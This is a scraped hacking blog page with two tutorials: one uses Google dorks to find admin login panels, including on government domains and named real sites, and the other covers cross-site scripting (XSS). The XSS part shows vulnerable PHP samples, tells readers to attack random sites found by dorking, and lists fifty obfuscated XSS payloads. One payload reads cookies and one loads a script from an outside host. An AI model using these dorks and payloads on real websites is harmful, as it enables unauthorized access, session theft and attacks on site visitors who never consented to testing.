Captain Teemo On Duty: Penetration

<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: medium; line-height: 19.200000762939453px;"><br /></span>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: medium; line-height: 19.200000762939453px;"><br /></span>
<img height="347" src="http://www.rrecl.com/manage/images/admin-logo.gif" width="640" /><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: medium; line-height: 19.200000762939453px;"><br /></span>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: medium; line-height: 19.200000762939453px;"><br /></span>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: medium; line-height: 19.200000762939453px;">How to Find Admin Panel using Google / Dorking / MANUAL </span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">Go to Google</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">Type allinurl: allintext:</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;"> ##################### FINDING ADMIN PANELS #####################</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
allinurl:”admin” “login”<br />allinurl:”admin login”<br />allinurl:”administrator” “login”<br />allintext:”admin” “login”<br />allintext:”admin login”<br />allintext:”administrator” “login” </blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">if you want to find in a specific country just add “site:gov.my”</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">Like this all</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
inurl:”admin” “login” site:gov.my<br /><br />allintext:”administrator” “login” site:gob.mx </blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">###########################################</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">FINDING ADMIN PANELS ON A SPECIFIC SITE</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
Example1: allinurl:”president.com.ph” “admin” “login”<br />then press enter then u got it, here the LOGIN panel of this certain website :3<br /><br />http://mail.uni-president.com.ph/online/admin/login.aspx<br /><br />Example2: allintext:”cepalco” “administrator”<br /> then here it is http://www.cepalco.com.ph/mailman/admin/dba</blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">NOTE: THIS CAN'T GIVE YOU 100% GURANTEE TO FIND A ADMIN PANEL OF CERTAIN WEBSITE. SO WE STILL NEED TO USE OTHER METHODS OF MANUAL CRAWLING. AND ALSO USING TOOLS LIKE ACUENTIX.</span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">JUST TRY TO MODIFY THE DORKS TO FIND AND GET THE ADMIN PANEL RIGHT..! </span><br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;" /><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.200000762939453px;">IF YOU TRY TO COPY THIS TUT TO OTHER SITES, JUST DONT FORGET TO PUT CREDITS.</span>

Finding Admin panels an IDEA and Techniques

How to Find Admin Panel using Google / Dorking / MANUAL Go to Google Type allinurl: allintext: ##################### FINDING ADMIN PA...

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR4t7qj3SN7Aknqjw6rEvwVSXXF7P8Coa6rTAO3ls53-ZGLfAL8Lv8WfV3hyphenhyphen0QGtKpddAqFi2HHd05UT77IJhvrCSy-PGNdzfM07Ow-ho3Lz8Gq7nMjbWkhMf4_cI_GPp0PWPYXYTEEmw/s1600/xssed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR4t7qj3SN7Aknqjw6rEvwVSXXF7P8Coa6rTAO3ls53-ZGLfAL8Lv8WfV3hyphenhyphen0QGtKpddAqFi2HHd05UT77IJhvrCSy-PGNdzfM07Ow-ho3Lz8Gq7nMjbWkhMf4_cI_GPp0PWPYXYTEEmw/s1600/xssed.png" /></a></div>
<b style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Introduction</b><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;"> </span><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.</span><br />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: medium; line-height: 19.1875px;"><b>XSS Attack Examples</b></span><br />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<b style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Reflective XSS</b><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session. </span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<?phpif(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){$isempty=true;}else{echo '<pre>';echo 'Hello' . $_GET['name'];echo '</pre>';}?></blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<b style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Persistent XSS</b><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Consider a Web application that allows users to enter a user name which is displayed on each user’s profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.</span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<?phpif(isset($_POST['btnSign'])){$message=trim($_POST['mtxMessage']);$name=trim($_POST['txtName']);// Sanitize message input$message = stripslashes($message);$message = mysql_real_escape_string($message);// Sanitize name input$name = mysql_real_escape_string($name);$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');}?></blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<b style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">DOM based XSS </b><br />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">DOM-based vulnerabilities occur in the content processing stages performed by the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents which is called the Document Object Model (DOM) JavaScript programs manipulate the state of a web page and populate it with dynamically-computed data primarily by acting upon the DOM. simply that type occurs on the javascript code itself that the developer use in client side for example "A typical example is a piece of JavaScript accessing and extracting data from the URL via the location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping,entirely on client side."</span><br />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">HOW TO EXECUTE XSS QUERY.</span><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">(so lets perform xss on random sites)</span><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">we can start by using XSS dorks.</span><br />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">XSS DORKS</span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://sh.st/v4f5" style="color: #999999; text-decoration: none;">http://sh.st/v4f5</a></blockquote>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">XSS PAYLOADS</span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://sh.st/v4h4" style="color: #999999; text-decoration: none;">http://sh.st/v4h4</a></blockquote>
<blockquote style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://sh.st/v4lw" style="color: #999999; text-decoration: none;">http://sh.st/v4lw</a></blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">type in Google:</span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
inurl:"search.php?q="</blockquote>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">okay, now i found this target site..</span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://sh.st/v4eP" style="color: #999999; text-decoration: none;">http://sh.st/v4eP</a></blockquote>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">So let's Execute a XSS payload, this time im gonna use this payload.</span><br />
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"></blockquote>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Hit Enter then poof! Site has been xssed.</span><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">Nowadays, XSS attack is not just used by Hackers, it is also used by pentesters and Security Reaserchers.. :)</span><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">And A big Credit to my Friend "Evan Ricafort" and other security researchers for sharing some of their XSS payloads :)</span><br />
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<br />
<blockquote style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
1) <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button><br />
<br />
2) <div onmouseover='alert&lpar;1&rpar;'>DIV</div><br />
<br />
3) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"><br />
<br />
4) <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a><br />
<br />
5) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"><br />
<br />
6) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"><br />
<br />
7) <var onmouseover="prompt(1)">On Mouse Over</var><br />
<br />
8) <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a><br />
<br />
9) <img src="/" =_=" title="onerror='prompt(1)'"><br />
<br />
10) <%<br />
<br />
11) <script src="data:text/javascript,alert(1)"></script><br />
<br />
12) <iframe/src \/\/onload = prompt(1)<br />
<br />
13) <iframe/onreadystatechange=alert(1)<br />
<br />
14) <svg/onload=alert(1)<br />
<br />
15) <input value=<><iframe/src=javascript:confirm(1)<br />
<br />
16) <input type="text" value=``<div/onmouseover='alert(1)'>X</div><br />
<br />
17) http://www.<script>alert(1)</script .com<br />
<br />
<br />
18) <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe><br />
<br />
19) <svg><script ?>alert(1)<br />
<br />
20) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe><br />
<br />
21) <img src=`xx:xx`onerror=alert(1)><br />
<br />
22) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object><br />
<br />
23) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><br />
<br />
24) <math><a xlink:href="//jsfiddle.net/t846h/">click<br />
<br />
25) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always><br />
<br />
26) <svg contentScriptType=text/vbs><script>MsgBox+1<br />
<br />
27) <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a<br />
<br />
28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE><br />
<br />
29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+<br />
<br />
30) <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F<br />
<br />
31) <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script<br />
<br />
32) <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)><br />
<br />
33) <script>+-+-1-+-+alert(1)</script><br />
<br />
34) <body/onload=&lt;!--&gt;&#10alert(1)><br />
<br />
35) <script itworksinallbrowsers>/*<script* */alert(1)</script<br />
<br />
36) <img src ?itworksonchrome?\/onerror = alert(1)<br />
<br />
37) <svg><script>//&NewLine;confirm(1);</script </svg><br />
<br />
38) <svg><script onlypossibleinopera:-)> alert(1)<br />
<br />
39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe<br />
<br />
40) <script x> alert(1) </script 1=2<br />
<br />
41) <div/onmouseover='alert(1)'> style="x:"><br />
<br />
42) <--`<img/src=` onerror=alert(1)> --!><br />
<br />
43) <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script><br />
<br />
44) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button><br />
<br />
45) "><img src=x onerror=window.open('https://www.google.com/');><br />
<br />
46) <form><button formaction=javascript&colon;alert(1)>CLICKME<br />
<br />
47) <math><a xlink:href="//jsfiddle.net/t846h/">click<br />
<br />
48) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object><br />
<br />
49) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe><br />
<br />
50) <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a></blockquote>
<br style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;" />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-align: center;">
</div>
<div style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-align: center;">
<br /></div>
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;">The Next tutorial ill be writing will be on how to hack and penetrate targeted site. so stay tune :)</span><br />
<span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px;"><br /></span>

XSS (Cross Site Scripting) Detailed Tutorial + Payloads

Introduction Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables a...

Finding Admin panels an IDEA and Techniques

XSS (Cross Site Scripting) Detailed Tutorial + Payloads

InfoSec